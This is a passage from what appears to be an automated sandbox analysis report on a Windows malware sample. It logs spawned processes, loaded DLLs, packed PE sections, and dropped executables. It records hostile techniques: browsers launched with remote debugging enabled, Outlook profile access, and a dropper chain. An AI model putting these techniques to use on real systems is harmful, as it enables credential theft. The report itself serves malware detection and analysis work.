Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe "C:\Users\user\AppData\Local\Temp\1008589001\rh.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDGCGHCGHC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2692 --field-trial-handle=2376,i,6617676585187416704,17059390612542835592,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2172,i,2543754135559751923,12033645619070038089,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2760 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6216 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6436 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7148 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7148 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6120 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJDGCGHCGHC.exe "C:\Users\user\DocumentsJDGCGHCGHC.exe"
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe "C:\Users\user\AppData\Local\Temp\1008589001\rh.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1809920 > 1048576

Source: file.exe

Static PE information: Raw size of zpancmjk is bigger than: 0x100000 < 0x1a0000

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.2771284130.000000006FD5D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.2771284130.000000006FD5D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 1.2.file.exe.900000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zpancmjk:EW;xdlmjycw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zpancmjk:EW;xdlmjycw:EW;.taggant:EW;
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Unpacked PE file: 28.2.DocumentsJDGCGHCGHC.exe.1f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dkmnrssd:EW;tqafgssw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dkmnrssd:EW;tqafgssw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 29.2.skotes.exe.c30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dkmnrssd:EW;tqafgssw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dkmnrssd:EW;tqafgssw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 30.2.skotes.exe.c30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dkmnrssd:EW;tqafgssw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dkmnrssd:EW;tqafgssw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 32.2.skotes.exe.c30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dkmnrssd:EW;tqafgssw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dkmnrssd:EW;tqafgssw:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsJDGCGHCGHC.exe.1.dr	Static PE information: real checksum: 0x1d9e2d should be: 0x1e3ff7
Source: skotes.exe.28.dr	Static PE information: real checksum: 0x1d9e2d should be: 0x1e3ff7
Source: rh.exe.32.dr	Static PE information: real checksum: 0x1ea3f3 should be: 0x1ed414
Source: rh[1].exe.32.dr	Static PE information: real checksum: 0x1ea3f3 should be: 0x1ed414
Source: file.exe	Static PE information: real checksum: 0x1c9c9d should be: 0x1c7885
Source: random[1].exe.1.dr	Static PE information: real checksum: 0x1d9e2d should be: 0x1e3ff7

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: zpancmjk
Source: file.exe	Static PE information: section name: xdlmjycw
Source: file.exe	Static PE information: section name: .taggant
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: dkmnrssd
Source: random[1].exe.1.dr	Static PE information: section name: tqafgssw
Source: random[1].exe.1.dr	Static PE information: section name: .taggant
Source: DocumentsJDGCGHCGHC.exe.1.dr	Static PE information: section name:
Source: DocumentsJDGCGHCGHC.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsJDGCGHCGHC.exe.1.dr	Static PE information: section name:
Source: DocumentsJDGCGHCGHC.exe.1.dr	Static PE information: section name: dkmnrssd
Source: DocumentsJDGCGHCGHC.exe.1.dr	Static PE information: section name: tqafgssw
Source: DocumentsJDGCGHCGHC.exe.1.dr	Static PE information: section name: .taggant
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: skotes.exe.28.dr	Static PE information: section name:
Source: skotes.exe.28.dr	Static PE information: section name: .idata
Source: skotes.exe.28.dr	Static PE information: section name:
Source: skotes.exe.28.dr	Static PE information: section name: dkmnrssd
Source: skotes.exe.28.dr	Static PE information: section name: tqafgssw
Source: skotes.exe.28.dr	Static PE information: section name: .taggant
Source: rh[1].exe.32.dr	Static PE information: section name:
Source: rh[1].exe.32.dr	Static PE information: section name: .idata
Source: rh[1].exe.32.dr	Static PE information: section name:
Source: rh[1].exe.32.dr	Static PE information: section name: ettnbbde
Source: rh[1].exe.32.dr	Static PE information: section name: lbelwvmk
Source: rh[1].exe.32.dr	Static PE information: section name: .taggant
Source: rh.exe.32.dr	Static PE information: section name:
Source: rh.exe.32.dr	Static PE information: section name: .idata
Source: rh.exe.32.dr	Static PE information: section name:
Source: rh.exe.32.dr	Static PE information: section name: ettnbbde
Source: rh.exe.32.dr	Static PE information: section name: lbelwvmk
Source: rh.exe.32.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 32_2_00C4D91C push ecx; ret

32_2_00C4D92F

Source: file.exe	Static PE information: section name: zpancmjk entropy: 7.9542717479853655
Source: random[1].exe.1.dr	Static PE information: section name: entropy: 7.985416397888055
Source: random[1].exe.1.dr	Static PE information: section name: dkmnrssd entropy: 7.954101495285281
Source: DocumentsJDGCGHCGHC.exe.1.dr	Static PE information: section name: entropy: 7.985416397888055
Source: DocumentsJDGCGHCGHC.exe.1.dr	Static PE information: section name: dkmnrssd entropy: 7.954101495285281
Source: skotes.exe.28.dr	Static PE information: section name: entropy: 7.985416397888055
Source: skotes.exe.28.dr	Static PE information: section name: dkmnrssd entropy: 7.954101495285281
Source: rh[1].exe.32.dr	Static PE information: section name: entropy: 7.98300299939671
Source: rh[1].exe.32.dr	Static PE information: section name: ettnbbde entropy: 7.952710859262957
Source: rh.exe.32.dr	Static PE information: section name: entropy: 7.98300299939671
Source: rh.exe.32.dr	Static PE information: section name: ettnbbde entropy: 7.952710859262957

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJDGCGHCGHC.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
